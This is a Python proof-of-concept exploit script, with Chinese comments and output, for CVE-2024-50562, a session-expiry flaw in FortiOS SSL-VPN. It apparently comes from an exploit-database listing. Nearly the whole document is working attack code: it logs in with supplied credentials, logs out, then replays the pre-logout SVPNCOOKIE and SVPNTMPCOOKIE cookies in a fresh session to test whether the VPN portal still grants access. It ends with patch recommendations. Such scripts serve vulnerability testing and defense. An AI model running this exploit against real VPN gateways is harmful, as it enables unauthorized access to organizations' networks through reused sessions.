1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
|
#!/usr/bin/env python3
"""
# 漏洞标题: FortiOS SSL-VPN 7.4.4 - 会话过期不足与Cookie重用
# 日期: 2025-06-15
# 漏洞作者: Shahid Parvez Hakim (BugB Technologies)
# 厂商主页: https://www.fortinet.com
# 软件链接: https://www.fortinet.com/products/secure-sd-wan/fortigate
# 版本: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (所有), 6.4.x (所有)
# 测试环境: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (中危)
# 分类: 会话管理
# CWE: CWE-613 (会话过期不足)
描述:
FortiOS SSL-VPN中的会话过期不足漏洞允许攻击者在注销后重用过期的会话Cookie,
可能导致未授权访问。SVPNTMPCOOKIE在主要SVPNCOOKIE在注销过程中失效后仍然保持有效。
参考:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562
用法:
python3 fortinet_cve_2024_50562.py -t <目标> -u <用户名> -p <密码> [选项]
示例:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""
import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse
# 禁用SSL警告用于测试
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class FortinetExploit:
def __init__(self, target, username, password, realm="", timeout=10, force=False):
self.target = target
self.username = username
self.password = password
self.realm = realm
self.timeout = timeout
self.force = force
self.base_url = f"https://{target}"
self.session = None
def banner(self):
"""显示漏洞利用横幅"""
print("=" * 70)
print("CVE-2024-50562 - Fortinet SSL-VPN 会话管理绕过")
print("作者: Shahid Parvez Hakim (BugB Technologies)")
print("CVSS: 4.4 (中危) | FG-IR-24-339")
print("=" * 70)
print(f"目标: {self.target}")
print(f"用户: {self.username}")
print("-" * 70)
def validate_target(self):
"""检查目标是否可达且为Fortinet SSL-VPN"""
try:
print("[*] 验证目标...")
response = requests.get(f"{self.base_url}/remote/login",
verify=False, timeout=self.timeout)
# 更灵活的Fortinet SSL-VPN检测
fortinet_indicators = [
"fortinet", "fortigate", "forticlient",
"sslvpn", "/remote/login", "SVPNCOOKIE",
"logincheck", "hostcheck_install",
"fgt_lang", "realm"
]
response_text = response.text.lower()
detected_indicators = [indicator for indicator in fortinet_indicators
if indicator in response_text]
if detected_indicators:
print(f"[+] 目标确认为Fortinet SSL-VPN (检测指标: {', '.join(detected_indicators[:3])})")
return True
elif response.status_code == 200:
print("[!] 目标可达但Fortinet检测不确定 - 继续执行")
return True
else:
print("[-] 目标似乎不是Fortinet SSL-VPN")
return False
except requests.exceptions.RequestException as e:
print(f"[-] 连接失败: {e}")
return False
def attempt_login(self):
"""尝试使用提供的凭据进行认证"""
try:
print("[*] 尝试认证...")
self.session = requests.Session()
self.session.verify = False
# 首先获取登录页面
self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
# 尝试登录
login_data = {
"ajax": "1",
"username": self.username,
"realm": self.realm,
"credential": self.password
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = self.session.post(f"{self.base_url}/remote/logincheck",
data=login_data, headers=headers,
timeout=self.timeout)
# 检查登录是否成功
if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
print("[+] 认证成功!")
# 提取并显示Cookie
cookies = requests.utils.dict_from_cookiejar(response.cookies)
self.display_cookies(cookies, "登录")
return True, cookies
else:
print("[-] 认证失败!")
print(f"[!] 服务器响应: {response.text[:100]}...")
return False, {}
except requests.exceptions.RequestException as e:
print(f"[-] 登录请求失败: {e}")
return False, {}
def perform_logout(self):
"""执行注销并检查Cookie失效"""
try:
print("[*] 执行注销...")
response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
print("[+] 注销完成")
self.display_cookies(cookies_after_logout, "注销")
return cookies_after_logout
except requests.exceptions.RequestException as e:
print(f"[-] 注销请求失败: {e}")
return {}
def test_session_reuse(self, original_cookies):
"""测试注销后旧会话Cookie是否仍然有效"""
try:
print("[*] 测试会话Cookie重用...")
# 创建新会话模拟攻击者
exploit_session = requests.Session()
exploit_session.verify = False
# 使用原始登录Cookie
exploit_session.cookies.update(original_cookies)
# 尝试访问受保护资源
test_url = f"{self.base_url}/sslvpn/portal.html"
response = exploit_session.get(test_url, timeout=self.timeout)
# 检查是否仍然认证
if self.is_authenticated_response(response.text):
print("[!] 漏洞确认!")
print("[!] 会话Cookie在注销后仍然有效")
print("[!] CVE-2024-50562影响此系统")
return True
else:
print("[+] 会话正确失效")
print("[+] 系统似乎已修补")
return False
except requests.exceptions.RequestException as e:
print(f"[-] 会话重用测试失败: {e}")
return False
def is_authenticated_response(self, response_body):
"""检查响应是否表明已认证访问"""
# 如果响应包含登录表单元素,用户未认证
if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
return False
return True
def display_cookies(self, cookies, context):
"""格式化显示Cookie"""
if cookies:
print(f"[*] {context}后的Cookie:")
for name, value in cookies.items():
# 截断长值用于显示
display_value = value[:20] + "..." if len(value) > 20 else value
print(f" {name} = {display_value}")
# 高亮CVE重要Cookie
if name == "SVPNTMPCOOKIE":
print(f" [!] 发现SVPNTMPCOOKIE - CVE-2024-50562目标")
elif name == "SVPNCOOKIE":
print(f" [*] 发现SVPNCOOKIE - 主要会话Cookie")
else:
print(f"[*] {context}后未设置Cookie")
def exploit(self):
"""主要漏洞利用例程"""
self.banner()
# 步骤1: 验证目标(除非强制跳过)
if not self.force:
if not self.validate_target():
print("[!] 使用--force跳过目标验证并继续")
return False
else:
print("[*] 跳过目标验证(--force启用)")
# 步骤2: 尝试登录
login_success, login_cookies = self.attempt_login()
if not login_success:
return False
# 步骤3: 执行注销
logout_cookies = self.perform_logout()
# 步骤4: 测试会话重用
vulnerable = self.test_session_reuse(login_cookies)
# 步骤5: 显示结果
print("\n" + "=" * 70)
print("漏洞利用结果")
print("=" * 70)
if vulnerable:
print("状态: 存在漏洞")
print("CVE-2024-50562: 已确认")
print("严重性: 中危 (CVSS 4.4)")
print("\n建议:")
print("- 升级到已修补的FortiOS版本")
print("- FortiOS 7.6.x: 升级到7.6.1+")
print("- FortiOS 7.4.x: 升级到7.4.8+")
print("- FortiOS 7.2.x: 升级到7.2.11+")
print("- FortiOS 7.0.x/6.4.x: 迁移到支持版本")
else:
print("状态: 无漏洞")
print("CVE-2024-50562: 不受影响")
print("\n系统似乎已修补或无漏洞")
return vulnerable
def parse_target(target_string):
"""解析目标字符串并提取host:port"""
if ':' not in target_string:
# 如果未指定端口,使用默认HTTPS端口
return f"{target_string}:443"
return target_string
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-50562 - Fortinet SSL-VPN 会话管理绕过漏洞利用",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
"""
)
parser.add_argument('-t', '--target', required=True,
help='目标IP:PORT (例如: 192.168.1.10:443)')
parser.add_argument('-u', '--username', required=True,
help='认证用户名')
parser.add_argument('-p', '--password', required=True,
help='认证密码')
parser.add_argument('--realm', default='',
help='认证域(可选)')
parser.add_argument('--timeout', type=int, default=10,
help='请求超时时间(秒)(默认: 10)')
parser.add_argument('--force', action='store_true',
help='跳过目标验证并继续执行')
args = parser.parse_args()
# 解析并验证目标
target = parse_target(args.target)
try:
# 初始化并运行漏洞利用
exploit = FortinetExploit(target, args.username, args.password,
args.realm, args.timeout, args.force)
vulnerable = exploit.exploit()
# 使用适当的代码退出
sys.exit(0 if vulnerable else 1)
except KeyboardInterrupt:
print("\n[!] 漏洞利用被用户中断")
sys.exit(1)
except Exception as e:
print(f"[!] 意外错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
|